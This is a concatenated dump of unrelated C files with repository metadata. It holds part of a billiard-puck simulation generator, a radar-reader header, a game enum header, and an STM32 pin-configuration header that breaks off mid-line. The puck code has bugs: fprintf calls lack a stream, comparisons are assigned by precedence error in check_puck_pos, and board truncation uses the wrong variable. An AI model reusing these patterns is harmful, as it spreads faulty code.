16, or 32 \n"); fprintf (stderr, "so that the neighbor-preserving map from\n") ; fprintf (stderr, "table to hypercube will work easily.\n") ; exit ( -1 ); } */ } if ( nnodes > 128 ) { fprintf (stderr, "must be fewer than 128 nodes\n") ; exit (-1) ; } puck_state_table = (Puck_state *) calloc ( npucks+1, sizeof ( Puck_state ) ); /* we alloc one more than needed so * the array will be 'null terminated' */ if ( puck_state_table == NULL ) { fprintf ( stderr,"failed to calloc puck state table \n" ); exit (-1); } diam = radius * 2; int_radius = ((int) radius) + 1 ; /* integer upper bound */ int_diam = int_radius * 2 ; /* integer upper bound */ printf ( "nostdout\n" ); printf ( "objstksize 7000\n" ); printf ( "\n" ) ; printf ( "\n" ) ; srandom ( time (0) ) ; /* generate obcreates for sectors and cushions */ gmap ( nsect_x, nsect_y ); /* generate obcreates for pucks */ even_flag = 0; for ( i = 0; i < npucks; i++ ) { if (even_flag == 0) r = random () % nnodes ; else r = i % nnodes ; printf ( "obcreate puck%-4.4d puck %d \n", i, r ) ; } /* write out evtmsg's */ /* C U S H I O N E V T M S G S */ width = max_board_x / nsect_x; height = max_board_y / nsect_y; /* Note: (x2,y2) must be ccw wrt (x1,y1) */ for ( i = 0; i < nsect_y; i++ ) { /* This printf takes care of cushions on the western edge. */ printf ( "tell cushion_0_%-2.2d -1 2 \"%d %d %d %d %d %d %d %d\" \n", i, min_board_x, min_board_y + ( i * height ), min_board_x, min_board_y + ( (i + 1) * height ), min_board_x, min_board_y, max_board_x, max_board_y ); } for ( i = 0; i < nsect_x; i++ ) { /* This printf takes care of cushions on the northern edge */ printf ( "tell cushion_1_%-2.2d -1 2 \"%d %d %d %d %d %d %d %d\" \n", i, min_board_x + ( i * width ), min_board_y, min_board_x + ( (i + 1) * width ), min_board_y, min_board_x, min_board_y, max_board_x, max_board_y ); } for ( i = 0; i < nsect_y; i++ ) { /* This printf takes care of cushions on the eastern edge. */ printf ( "tell cushion_2_%-2.2d -1 2 \"%d %d %d %d %d %d %d %d\" \n", i, max_board_x, min_board_y + ( i * height ) , max_board_x, min_board_y + ( (i + 1) * height ), min_board_x, min_board_y, max_board_x, max_board_y ); } for ( i = 0; i < nsect_x; i++ ) { /* This printf takes care of cushions on the southern edge */ printf ( "tell cushion_3_%-2.2d -1 2 \"%d %d %d %d %d %d %d %d\" \n", i, min_board_x + ( i * width ), max_board_y, min_board_x + ( (i + 1) * width ), max_board_y, min_board_x, min_board_y, max_board_x, max_board_y ); } printf ( "\n" ); /* S E C T O R E V T M S G S */ for ( i=0; i < nsect_y; i++ ) { for ( j = 0; j < nsect_x; j++ ) { printf ( "tell sector_%-2.2d_%-2.2d -1 3 \"%d %d %d %d %d %d\"\n", i, j, nsect_y,nsect_x, min_board_x + ( j * width ), min_board_y + ( i * height ), height, width ); if (do_graphics) { static struct point { int x, y ; } tl, tr, bl, br ; /* top left, top right, etc. */ tl.x = min_board_x + ( j * width ) ; tl.y = min_board_y + ( i * height ) ; tr.x = tl.x + width ; tr.y = tl.y ; bl.x = tl.x ; bl.y = tl.y + height ; br.x = tr.x ; br.y = bl.y ; printf ( "pad:vector %4d %4d %4d %4d\n", tl.x, tl.y, tr.x, tr.y) ; printf ( "pad:vector %4d %4d %4d %4d\n", tr.x, tr.y, br.x, br.y) ; printf ( "pad:vector %4d %4d %4d %4d\n", br.x, br.y, bl.x, bl.y) ; printf ( "pad:vector %4d %4d %4d %4d\n", bl.x, bl.y, tl.x, tl.y) ; if (show_sector_names) { printf ( "pad:printstring %d %d %02.2d_%02.2d\n", tl.x + 8, tl.y + 16, i, j ) ; } } } } printf ( "\n" ); /* B A L L E V T M S G S */ if ( max_board_x % nsect_x != 0 ) { max_board_x = width * nsect_x ; fprintf (stderr, "Max_board_x being truncated to %d\n", max_board_x) ; fprintf (stderr, " to be commensurate with sector width\n") ; fflush (stderr) ; } if ( max_board_y % nsect_y != 0 ) { max_board_y = height * nsect_x ; fprintf (stderr, "Max_board_y being truncated to %d\n", max_board_y) ; fprintf (stderr, " to be commensurate with sector height\n") ; fflush (stderr) ; } if ( read_puck_states_from_file ) { FILE * f ; char TheLine [256] ; int i ; /* index into puck_state_table */ f = fopen (puck_state_file, "r") ; if ( (int)f <= 0 ) { fprintf ("Failure to open file %s, bailing out!\n", puck_state_file) ; exit (-2) ; } i = 0 ; while ( fgets (TheLine, 255, f) ) { /* fgets returns NULL on EOF */ if ( strncmp (TheLine, "tell puck", 9) != 0 ) { /* no match */ continue ; /* get next line in the file */ } else /* got a line we can use */ { char puckname [32] ; static char last_puckname [32] ; char junkjunk [128] ; int radius, mass; int time ; int retval ; int msgsel ; retval = sscanf ( TheLine, "tell %s %d %d \"%d %d %d %d %lf %lf", puckname, &time, &msgsel, & radius, & mass, & x, & y, & xdot, & ydot ); /*** pr2(d,retval,time) ; ***/ /*** pr2(s,puckname,junkjunk) ; ***/ /*** pr2(d,x,y) ; ***/ /*** pr2(lf,xdot,ydot) ; ***/ /*** fflush (stdout) ; ***/ if (strcmp(puckname, last_puckname) == 0) { /* This is a second or later evtmsg for * the same puck... we only want the * first occurrence to get the x, y... from */ continue ; } else { strcpy (last_puckname, puckname) ; add_state_to_table ( puck_state_table, i++, x, y, xdot, ydot ); } } /* got a line we can use */ } /* while fgets */ if ( i != npucks ) { fprintf ("Something wrong in your input file; bye!\n") ; exit (2) ; } fclose (f) ; } /* read puck states from file */ else /* generating puck states randomly */ { for ( i = 0; i < npucks; i++ ) { rn_ok = FALSE; while ( rn_ok != TRUE ) { /* for now, start pts are at integer positions */ /* make sure they don't overlap the edges */ /* of the table to start with (no 'dead' pucks) */ /* To make sure of this, we will create them on */ /* a smaller board and then bump them one to */ /* keep them off the left edge */ /* The code corrects the table size by truncation * in the case where table_size % sector_size != 0. * This must be done to prevent puck positions from * being generated on the table but outside any * sector. Search for the word 'truncate' in this source * to find the code that truncates the table size. */ x = random() % (max_board_x - int_diam - 2) ; x += min_board_x + int_radius + 1 ; y = random() % (max_board_y - int_diam - 2) ; y += min_board_y + int_radius + 1 ; if ( y>max_board_y-int_radius-1 || y<min_board_y+int_radius+1 || x>max_board_x-int_radius-1 || x<min_board_x+int_radius+1 ) { fprintf ( stderr, "A puck was generated outside the table\007\n" ) ; exit (-1) ; } rn_ok = check_puck_pos ( puck_state_table, i, diam, x, y ); } xdot = rand_vel ( radius, max_board_x, max_board_y ); ydot = rand_vel ( radius, max_board_x, max_board_y ); add_state_to_table ( puck_state_table, i, x, y, xdot, ydot ); } /* for each puck */ } /* generating puck states randomly */ /*** dump_puck_state_table (puck_state_table) ; ***/ for ( i = 0; i < npucks; i++ ) { x = puck_state_table [i] . x ; y = puck_state_table [i] . y ; xdot = puck_state_table [i] . xdot ; ydot = puck_state_table [i] . ydot ; if (do_graphics) { printf ( "pad:circle16 %4d %4d %4d\n", x, y, (int) radius ); if (show_puck_names) { printf ( "pad:printstring %4d %4d %04.4d\n", x, y+4, i ) ; } } if (do_graphics && show_velocity_vectors) { int end_x, end_y ; int arrow_x, arrow_y ; register double ca, sa ; register double xa, ya, xp, yp ; register double dx, dy ; register double r ; double sqrt () ; end_x = x + xdot ; end_y = y + ydot ; printf ("pad:vector %4d %4d %4d %4d\n", x, y, end_x, end_y) ; dx = end_x - x ; dy = end_y - y ; r = sqrt ( dx * dx + dy * dy ) ; ca = dx / r ; sa = dy / r ; xa = end_x - 8 * ca ; ya = end_y - 8 * sa ; xp = xa - 3 * sa ; yp = ya + 3 * ca ; arrow_x = xp ; arrow_y = yp ; printf ("pad:vector %4d %4d %4d %4d\n", end_x, end_y, arrow_x, arrow_y) ; xp = xa + 3 * sa ; yp = ya - 3 * ca ; arrow_x = xp ; arrow_y = yp ; printf ("pad:vector %4d %4d %4d %4d\n", end_x, end_y, arrow_x, arrow_y) ; } /* this next bit of conditionals figures out what sectors a puck * is touching and sends appropriate messages to all such sectors */ min_x = ( x / width ) * width; max_x = min_x + width; min_y = ( y / height ) * height; max_y = min_y + height; x_xmin = (x - min_x) ; y_ymin = (y - min_y) ; x_xmax = (x - max_x) ; y_ymax = (y - max_y) ; hit_left = x_xmin <= radius; /* you are challenged to figger */ hit_up = y_ymin <= radius; /* these out! */ hit_right = x_xmax >= - radius; hit_down = y_ymax >= - radius; if (hit_left && hit_up) { hit_four = sqrt (x_xmin * x_xmin + y_ymin * y_ymin) <= radius ; if (hit_four && next (sector, y/height - 1, x/width - 1, nsect_y, nsect_x) ) { printf ( "tell puck%-4.4d 0 1 \"%d %d %d %d %3.1f %3.1f %s %d %d %d %d %d %d\"\n", i , (int)radius, (int)mass, x, y, xdot, ydot, sector, width, height, min_board_x, min_board_y, max_board_x, max_board_y ); } } else if (hit_up && hit_right) { hit_four = sqrt (x_xmax * x_xmax + y_ymin * y_ymin) <= radius ; if (hit_four && next (sector, y/height - 1, x/width + 1, nsect_y, nsect_x) ) { printf ( "tell puck%-4.4d 0 1 \"%d %d %d %d %3.1f %3.1f %s %d %d %d %d %d %d\" \n", i , (int)radius, (int)mass, x, y, xdot, ydot, sector, width, height, min_board_x, min_board_y, max_board_x, max_board_y ); } } else if (hit_right && hit_down) { hit_four = sqrt (x_xmax * x_xmax + y_ymax * y_ymax) <= radius ; if (hit_four && next (sector, y/height + 1, x/width + 1, nsect_y, nsect_x) ) { printf ( "tell puck%-4.4d 0 1 \"%d %d %d %d %3.1f %3.1f %s %d %d %d %d %d %d\" \n", i , (int)radius, (int)mass, x, y, xdot, ydot, sector, width, height, min_board_x, min_board_y, max_board_y, max_board_y ); } } else if (hit_down && hit_left) { hit_four = sqrt (x_xmin * x_xmin + y_ymax * y_ymax) <= radius ; if (hit_four && next (sector, y/height + 1, x/width - 1, nsect_y, nsect_x) ) { printf ( "tell puck%-4.4d 0 1 \"%d %d %d %d %3.1f %3.1f %s %d %d %d %d %d %d\" \n", i , (int)radius, (int)mass, x, y, xdot, ydot, sector, width, height, min_board_x, min_board_y, max_board_x, max_board_y ); } } if (hit_left && next (sector, y/height, x/width - 1, nsect_y, nsect_x)) { printf ( "tell puck%-4.4d 0 1 \"%d %d %d %d %3.1f %3.1f %s %d %d %d %d %d %d\" \n", i , (int)radius, (int)mass, x, y, xdot, ydot, sector, width, height, min_board_x, min_board_y, max_board_x, max_board_y ); } if (hit_up && next (sector, y/height - 1, x/width, nsect_y, nsect_x)) { printf ( "tell puck%-4.4d 0 1 \"%d %d %d %d %3.1f %3.1f %s %d %d %d %d %d %d\" \n", i , (int)radius, (int)mass, x, y, xdot, ydot, sector, width, height, min_board_x, min_board_y,max_board_x, max_board_y); } if (hit_right && next (sector, y/height, x/width + 1, nsect_y, nsect_x)) { printf ( "tell puck%-4.4d 0 1 \"%d %d %d %d %3.1f %3.1f %s %d %d %d %d %d %d\" \n", i , (int)radius, (int)mass, x, y, xdot, ydot, sector, width, height, min_board_x, min_board_y,max_board_x, max_board_y ); } if (hit_down && next (sector, y/height + 1, x/width, nsect_y, nsect_x)) { printf ( "tell puck%-4.4d 0 1 \"%d %d %d %d %3.1f %3.1f %s %d %d %d %d %d %d\" \n", i , (int)radius, (int)mass, x, y, xdot, ydot, sector, width, height, min_board_x, min_board_y,max_board_x, max_board_y ); } sprintf ( sector, "sector_%-2.2d_%-2.2d", y / height, x / width ); printf ( "tell puck%-4.4d 0 1 \"%d %d %d %d %3.1f %3.1f %s %d %d %d %d %d %d\" \n", i , (int)radius, (int)mass, x, y, xdot, ydot, sector, width, height, min_board_x, min_board_y, max_board_x, max_board_y ); fflush (stdout); } /* for each puck */ printf ("\n") ; exit (0) ; } /**********************************************************************/ /* strategy : look through the puck state table. do quick checks first. if either dx or dy is greater than 2r, then this coord pr is ok. if the quick tests are passed, perform the complete test. */ #define NOT_OK 0 #define OK 1 check_puck_pos ( bp_ptr, npucks, diam, x, y ) Puck_state * bp_ptr; int npucks; double diam; int x; int y; { register int i; register double dx, dy; double dist; for ( i = 0; i < npucks; i++ ) { if ( dx = abs ( x - bp_ptr-> x ) <= diam ) { if ( dy = abs ( y - bp_ptr-> y ) <= diam ) { if ( dist = sqrt ( dx*dx + dy*dy ) <= diam ) { return ( NOT_OK ); } } } bp_ptr++; } return ( OK ); } /**********************************************************************/ add_state_to_table ( bp_ptr, index, x, y, xdot, ydot ) Puck_state * bp_ptr; int index; int x; int y; double xdot ; double ydot ; { bp_ptr += index; bp_ptr -> x = x; bp_ptr -> y = y; bp_ptr -> xdot = xdot ; bp_ptr -> ydot = ydot ; } /**********************************************************************/ dump_puck_state_table (b) Puck_state * b ; { int i ; for ( i=0; b->x > 0 ; i++, b++ ) { epr3(d, i, b->x, b->y) ; epr2(lf, b->xdot, b->ydot) ; ENL ; } } /**********************************************************************/ /* This is a velocity component - not true velocity which is the sqrt of the square of the component velocities. */ double rand_vel ( radius, max_board_x, max_board_y ) float radius; int max_board_x; int max_board_y; { double t; static double max_vel_comp = 0; if ( max_vel_comp == 0 ) { /* * max_vel_comp = i * ( max_board_x < max_board_y ? max_board_x : max_board_y ) / 10.0; */ max_vel_comp = radius * 10.0; } t = ( (double) random () / MAX_INT ) * ( 2 * max_vel_comp ); return ( t < max_vel_comp ? -t : t ); } /**********************************************************************/ next ( sector, row, col, max_row, max_col ) char sector [32]; int row, col, max_row, max_col; { if ( row > max_row || row < 0 || col > max_col || col < 0 ) return 0 ; else { sprintf ( sector, "sector_%-2.2d_%-2.2d", row, col ); return 1 ; } } /**********************************************************************/
03d3f4515eaf77a275d637607b024cde035649e4
f29d42fbe21cacdb229b2bd1012ce37cbf2e4b3b
/files_orpg_sw/src/cpc102/tsk025/read_is.h
e3abeddee5ca86353161663e401cc50d0b92394b
[]
no_license
likev/CodeOrpgPub
4b8dc3f2db29076bbfdd242e0f0cbf711d8dd694
f22af20b3748b7767109e6743fe27f79ee139a1a
refs/heads/master
2021-01-13T01:40:27.276067
2015-08-05T12:18:45
2015-08-05T12:18:45
40,243,172
5
0
null
null
null
null
UTF-8
C
false
false
1,514
h
read_is.h
/* * RCS info * $Author: steves $ * $Locker: $ * $Date: 2013/02/11 15:36:29 $ * $Id: read_is.h,v 1.10 2013/02/11 15:36:29 steves Exp $ * $Revision: 1.10 $ * $State: Exp $ */ #ifndef READ_IS_H #define READ_IS_H #include <stdio.h> #include <stdlib.h> #include <string.h> #include <curl/curl.h> #include <infr.h> #include <basedata.h> #include <a309.h> /* Macro definitions. */ #define ICAO_LENGTH 4 #define DEFAULT_WAIT 30 #define MIN_WAIT 15 #define FILENAME_SIZE 64 #define MAX_DIRECTORY_ENTRIES 256 /* The following limits are arbitrary ... may need tweeking. */ #define MAX_ERROR_COUNT 4 #define MAX_WARNING_COUNT 15 /* Stores the output LB name. */ char LB_name[256]; int LB_fd; int Verbose; /* Used in conjunction with libcurl. */ typedef struct MemoryStruct { char *memory; size_t size; } MemoryStruct_t; /* Use for tracking L2 files read. */ typedef struct FileStruct { size_t size; size_t size_processed; char filename[FILENAME_SIZE+1]; } FileStruct_t; /* Used to handle the case of day changing using LOCAL_URL. */ typedef struct Current_label { char label[32]; /* Has the form: AR2.... */ int year; /* yyyy */ int month; /* mm */ int day; /* dd */ int hour; /* hh */ int minute; /* mm */ int second; /* ss */ char radar_id[8]; /* ICAO */ } Current_label_t; /* Function Protypes. */ int Process_current_buffer( MemoryStruct_t *data, FileStruct_t *file ); #endif
a5b7bb78923348b58cdaf6003835c5e775a94567
82bad675e87ed2964f13b8044ab1d1ea9a53f4e1
/Pods/Headers/Private/DiscogsAPI/DGDatabase.h
f1abf1e101608c7475bcf85a04363fb54cfbe95f
[]
no_license
kuharich/WaxCabinet
951861de7b92d4b11e120e525754bcbc9d7f6fd0
bf8b75cd9df93c5a4cfc63e5780ea7ac15646e2e
refs/heads/master
2021-01-12T08:41:41.161677
2016-12-16T15:32:51
2016-12-16T15:32:51
76,664,220
0
0
null
null
null
null
UTF-8
C
false
false
52
h
DGDatabase.h
../../../DiscogsAPI/DiscogsAPI/Database/DGDatabase.h
0a29b747f50357cd6f28468973cca7ab749356fa
add0dbf263b7db367e52e9b120499ede18bd6b7e
/Inc/Types.h
70e6686f55137a3f1acc0adf47a3a9bc9a0c7b94
[]
no_license
RLoginov/Drake-Overtake
a378a5db49347b8e51caee809f7a98e6689f7a9d
70d0e96f938cd9e2411230b8f22f8a445234a27a
refs/heads/master
2023-05-01T08:20:01.674655
2023-04-14T17:07:52
2023-04-14T17:07:52
null
0
0
null
null
null
null
UTF-8
C
false
false
261
h
Types.h
/* * Types.h * * Created on: Feb 22, 2017 * Author: sushil */ #ifndef TYPES_H_ #define TYPES_H_ enum class EntityType { DRAKE, BUILDING, MISSILE, BLANK }; enum class ASPECT_TYPE { PHYSICS, RENDERABLE, AI, NONE }; #endif /* TYPES_H_ */
23650ea38d206845efcdc9217989a4f1e31c18c5
6e557b49f26af515ada797449996c4129da2cdd7
/VentlatorOneSet/MX_Device.h
c96fa6ca54e30be53695dda95d33cf5c0ca01a31
[]
no_license
kingkits/one-set
8d59b616aa19817ac0089ff74dbd2a4f4dc8166c
9032a157fd88a79fae4b56aa031259d4ad3af4b5
refs/heads/master
2022-02-16T00:09:45.123264
2019-08-22T06:25:16
2019-08-22T06:25:16
198,339,455
5
0
null
null
null
null
UTF-8
C
false
false
17,799
h
MX_Device.h
/****************************************************************************** * File Name : MX_Device.h * Date : 26/09/2017 14:17:26 * Description : STM32Cube MX parameter definitions * Note : This file is generated by STM32CubeMX (DO NOT EDIT!) ******************************************************************************/ #ifndef __MX_DEVICE_H #define __MX_DEVICE_H /*---------------------------- Clock Configuration ---------------------------*/ #define MX_LSI_VALUE 32000 #define MX_LSE_VALUE 32768 #define MX_HSI_VALUE 16000000 #define MX_HSE_VALUE 25000000 #define MX_EXTERNAL_CLOCK_VALUE 12288000 #define MX_PLLCLKFreq_Value 96000000 #define MX_SYSCLKFreq_VALUE 16000000 #define MX_HCLKFreq_Value 16000000 #define MX_FCLKCortexFreq_Value 16000000 #define MX_CortexFreq_Value 16000000 #define MX_AHBFreq_Value 16000000 #define MX_APB1Freq_Value 16000000 #define MX_APB2Freq_Value 16000000 #define MX_APB1TimFreq_Value 16000000 #define MX_APB2TimFreq_Value 16000000 #define MX_48MHZClocksFreq_Value 48000000 #define MX_EthernetFreq_Value 16000000 #define MX_LCDTFTFreq_Value 12250000 #define MX_I2SClocksFreq_Value 96000000 #define MX_SAI_AClocksFreq_Value 12250000 #define MX_SAI_BClocksFreq_Value 12250000 #define MX_RTCFreq_Value 32000 #define MX_WatchDogFreq_Value 32000 #define MX_MCO1PinFreq_Value 16000000 #define MX_MCO2PinFreq_Value 16000000 /*-------------------------------- ADC1 --------------------------------*/ #define MX_ADC1 1 /* GPIO Configuration */ /* Pin PA0/WKUP */ #define MX_ADCx_IN0_Pin PA0_WKUP #define MX_ADCx_IN0_GPIOx GPIOA #define MX_ADCx_IN0_GPIO_PuPd GPIO_NOPULL #define MX_ADCx_IN0_GPIO_Pin GPIO_PIN_0 #define MX_ADCx_IN0_GPIO_Mode GPIO_MODE_ANALOG /*-------------------------------- ADC2 --------------------------------*/ #define MX_ADC2 1 /* GPIO Configuration */ /* Pin PA1 */ #define MX_ADCx_IN1_Pin PA1 #define MX_ADCx_IN1_GPIOx GPIOA #define MX_ADCx_IN1_GPIO_PuPd GPIO_NOPULL #define MX_ADCx_IN1_GPIO_Pin GPIO_PIN_1 #define MX_ADCx_IN1_GPIO_Mode GPIO_MODE_ANALOG /*-------------------------------- ADC3 --------------------------------*/ #define MX_ADC3 1 /* GPIO Configuration */ /* Pin PA2 */ #define MX_ADCx_IN2_Pin PA2 #define MX_ADCx_IN2_GPIOx GPIOA #define MX_ADCx_IN2_GPIO_PuPd GPIO_NOPULL #define MX_ADCx_IN2_GPIO_Pin GPIO_PIN_2 #define MX_ADCx_IN2_GPIO_Mode GPIO_MODE_ANALOG /*-------------------------------- I2C1 --------------------------------*/ #define MX_I2C1 1 /* GPIO Configuration */ /* Pin PB6 */ #define MX_I2C1_SCL_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_I2C1_SCL_Pin PB6 #define MX_I2C1_SCL_GPIOx GPIOB #define MX_I2C1_SCL_GPIO_PuPdOD GPIO_PULLUP #define MX_I2C1_SCL_GPIO_Pin GPIO_PIN_6 #define MX_I2C1_SCL_GPIO_AF GPIO_AF4_I2C1 #define MX_I2C1_SCL_GPIO_Mode GPIO_MODE_AF_OD /* Pin PB7 */ #define MX_I2C1_SDA_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_I2C1_SDA_Pin PB7 #define MX_I2C1_SDA_GPIOx GPIOB #define MX_I2C1_SDA_GPIO_PuPdOD GPIO_PULLUP #define MX_I2C1_SDA_GPIO_Pin GPIO_PIN_7 #define MX_I2C1_SDA_GPIO_AF GPIO_AF4_I2C1 #define MX_I2C1_SDA_GPIO_Mode GPIO_MODE_AF_OD /*-------------------------------- I2C2 --------------------------------*/ #define MX_I2C2 1 /* GPIO Configuration */ /* Pin PF0 */ #define MX_I2C2_SDA_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_I2C2_SDA_Pin PF0 #define MX_I2C2_SDA_GPIOx GPIOF #define MX_I2C2_SDA_GPIO_PuPdOD GPIO_PULLUP #define MX_I2C2_SDA_GPIO_Pin GPIO_PIN_0 #define MX_I2C2_SDA_GPIO_AF GPIO_AF4_I2C2 #define MX_I2C2_SDA_GPIO_Mode GPIO_MODE_AF_OD /* Pin PF1 */ #define MX_I2C2_SCL_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_I2C2_SCL_Pin PF1 #define MX_I2C2_SCL_GPIOx GPIOF #define MX_I2C2_SCL_GPIO_PuPdOD GPIO_PULLUP #define MX_I2C2_SCL_GPIO_Pin GPIO_PIN_1 #define MX_I2C2_SCL_GPIO_AF GPIO_AF4_I2C2 #define MX_I2C2_SCL_GPIO_Mode GPIO_MODE_AF_OD /*-------------------------------- I2C3 --------------------------------*/ #define MX_I2C3 1 /* GPIO Configuration */ /* Pin PH8 */ #define MX_I2C3_SDA_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_I2C3_SDA_Pin PH8 #define MX_I2C3_SDA_GPIOx GPIOH #define MX_I2C3_SDA_GPIO_PuPdOD GPIO_PULLUP #define MX_I2C3_SDA_GPIO_Pin GPIO_PIN_8 #define MX_I2C3_SDA_GPIO_AF GPIO_AF4_I2C3 #define MX_I2C3_SDA_GPIO_Mode GPIO_MODE_AF_OD /* Pin PH7 */ #define MX_I2C3_SCL_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_I2C3_SCL_Pin PH7 #define MX_I2C3_SCL_GPIOx GPIOH #define MX_I2C3_SCL_GPIO_PuPdOD GPIO_PULLUP #define MX_I2C3_SCL_GPIO_Pin GPIO_PIN_7 #define MX_I2C3_SCL_GPIO_AF GPIO_AF4_I2C3 #define MX_I2C3_SCL_GPIO_Mode GPIO_MODE_AF_OD /*-------------------------------- RTC --------------------------------*/ #define MX_RTC 1 /* GPIO Configuration */ /*-------------------------------- SPI1 --------------------------------*/ #define MX_SPI1 1 /* GPIO Configuration */ /* Pin PA6 */ #define MX_SPI1_MISO_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_SPI1_MISO_Pin PA6 #define MX_SPI1_MISO_GPIOx GPIOA #define MX_SPI1_MISO_GPIO_PuPd GPIO_NOPULL #define MX_SPI1_MISO_GPIO_Pin GPIO_PIN_6 #define MX_SPI1_MISO_GPIO_AF GPIO_AF5_SPI1 #define MX_SPI1_MISO_GPIO_Mode GPIO_MODE_AF_PP /* Pin PA7 */ #define MX_SPI1_MOSI_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_SPI1_MOSI_Pin PA7 #define MX_SPI1_MOSI_GPIOx GPIOA #define MX_SPI1_MOSI_GPIO_PuPd GPIO_NOPULL #define MX_SPI1_MOSI_GPIO_Pin GPIO_PIN_7 #define MX_SPI1_MOSI_GPIO_AF GPIO_AF5_SPI1 #define MX_SPI1_MOSI_GPIO_Mode GPIO_MODE_AF_PP /* Pin PB3 */ #define MX_SPI1_SCK_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_SPI1_SCK_Pin PB3 #define MX_SPI1_SCK_GPIOx GPIOB #define MX_SPI1_SCK_GPIO_PuPd GPIO_NOPULL #define MX_SPI1_SCK_GPIO_Pin GPIO_PIN_3 #define MX_SPI1_SCK_GPIO_AF GPIO_AF5_SPI1 #define MX_SPI1_SCK_GPIO_Mode GPIO_MODE_AF_PP /*-------------------------------- SPI2 --------------------------------*/ #define MX_SPI2 1 /* GPIO Configuration */ /* Pin PB13 */ #define MX_SPI2_SCK_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_SPI2_SCK_Pin PB13 #define MX_SPI2_SCK_GPIOx GPIOB #define MX_SPI2_SCK_GPIO_PuPd GPIO_NOPULL #define MX_SPI2_SCK_GPIO_Pin GPIO_PIN_13 #define MX_SPI2_SCK_GPIO_AF GPIO_AF5_SPI2 #define MX_SPI2_SCK_GPIO_Mode GPIO_MODE_AF_PP /* Pin PC2 */ #define MX_SPI2_MISO_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_SPI2_MISO_Pin PC2 #define MX_SPI2_MISO_GPIOx GPIOC #define MX_SPI2_MISO_GPIO_PuPd GPIO_NOPULL #define MX_SPI2_MISO_GPIO_Pin GPIO_PIN_2 #define MX_SPI2_MISO_GPIO_AF GPIO_AF5_SPI2 #define MX_SPI2_MISO_GPIO_Mode GPIO_MODE_AF_PP /* Pin PC3 */ #define MX_SPI2_MOSI_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_SPI2_MOSI_Pin PC3 #define MX_SPI2_MOSI_GPIOx GPIOC #define MX_SPI2_MOSI_GPIO_PuPd GPIO_NOPULL #define MX_SPI2_MOSI_GPIO_Pin GPIO_PIN_3 #define MX_SPI2_MOSI_GPIO_AF GPIO_AF5_SPI2 #define MX_SPI2_MOSI_GPIO_Mode GPIO_MODE_AF_PP /*-------------------------------- SPI3 --------------------------------*/ #define MX_SPI3 1 /* GPIO Configuration */ /* Pin PC10 */ #define MX_SPI3_SCK_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_SPI3_SCK_Pin PC10 #define MX_SPI3_SCK_GPIOx GPIOC #define MX_SPI3_SCK_GPIO_PuPd GPIO_NOPULL #define MX_SPI3_SCK_GPIO_Pin GPIO_PIN_10 #define MX_SPI3_SCK_GPIO_AF GPIO_AF6_SPI3 #define MX_SPI3_SCK_GPIO_Mode GPIO_MODE_AF_PP /* Pin PC11 */ #define MX_SPI3_MISO_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_SPI3_MISO_Pin PC11 #define MX_SPI3_MISO_GPIOx GPIOC #define MX_SPI3_MISO_GPIO_PuPd GPIO_NOPULL #define MX_SPI3_MISO_GPIO_Pin GPIO_PIN_11 #define MX_SPI3_MISO_GPIO_AF GPIO_AF6_SPI3 #define MX_SPI3_MISO_GPIO_Mode GPIO_MODE_AF_PP /* Pin PC12 */ #define MX_SPI3_MOSI_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_SPI3_MOSI_Pin PC12 #define MX_SPI3_MOSI_GPIOx GPIOC #define MX_SPI3_MOSI_GPIO_PuPd GPIO_NOPULL #define MX_SPI3_MOSI_GPIO_Pin GPIO_PIN_12 #define MX_SPI3_MOSI_GPIO_AF GPIO_AF6_SPI3 #define MX_SPI3_MOSI_GPIO_Mode GPIO_MODE_AF_PP /*-------------------------------- SPI4 --------------------------------*/ #define MX_SPI4 1 /* GPIO Configuration */ /* Pin PE5 */ #define MX_SPI4_MISO_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_SPI4_MISO_Pin PE5 #define MX_SPI4_MISO_GPIOx GPIOE #define MX_SPI4_MISO_GPIO_PuPd GPIO_NOPULL #define MX_SPI4_MISO_GPIO_Pin GPIO_PIN_5 #define MX_SPI4_MISO_GPIO_AF GPIO_AF5_SPI4 #define MX_SPI4_MISO_GPIO_Mode GPIO_MODE_AF_PP /* Pin PE6 */ #define MX_SPI4_MOSI_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_SPI4_MOSI_Pin PE6 #define MX_SPI4_MOSI_GPIOx GPIOE #define MX_SPI4_MOSI_GPIO_PuPd GPIO_NOPULL #define MX_SPI4_MOSI_GPIO_Pin GPIO_PIN_6 #define MX_SPI4_MOSI_GPIO_AF GPIO_AF5_SPI4 #define MX_SPI4_MOSI_GPIO_Mode GPIO_MODE_AF_PP /* Pin PE2 */ #define MX_SPI4_SCK_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_SPI4_SCK_Pin PE2 #define MX_SPI4_SCK_GPIOx GPIOE #define MX_SPI4_SCK_GPIO_PuPd GPIO_NOPULL #define MX_SPI4_SCK_GPIO_Pin GPIO_PIN_2 #define MX_SPI4_SCK_GPIO_AF GPIO_AF5_SPI4 #define MX_SPI4_SCK_GPIO_Mode GPIO_MODE_AF_PP /*-------------------------------- SYS --------------------------------*/ #define MX_SYS 1 /* GPIO Configuration */ /*-------------------------------- USART1 --------------------------------*/ #define MX_USART1 1 #define MX_USART1_VM VM_ASYNC /* GPIO Configuration */ /* Pin PA9 */ #define MX_USART1_TX_GPIO_Speed GPIO_SPEED_FREQ_VERY_HIGH #define MX_USART1_TX_Pin PA9 #define MX_USART1_TX_GPIOx GPIOA #define MX_USART1_TX_GPIO_PuPd GPIO_PULLUP #define MX_USART1_TX_GPIO_Pin GPIO_PIN_9 #define MX_USART1_TX_GPIO_AF GPIO_AF7_USART1 #define 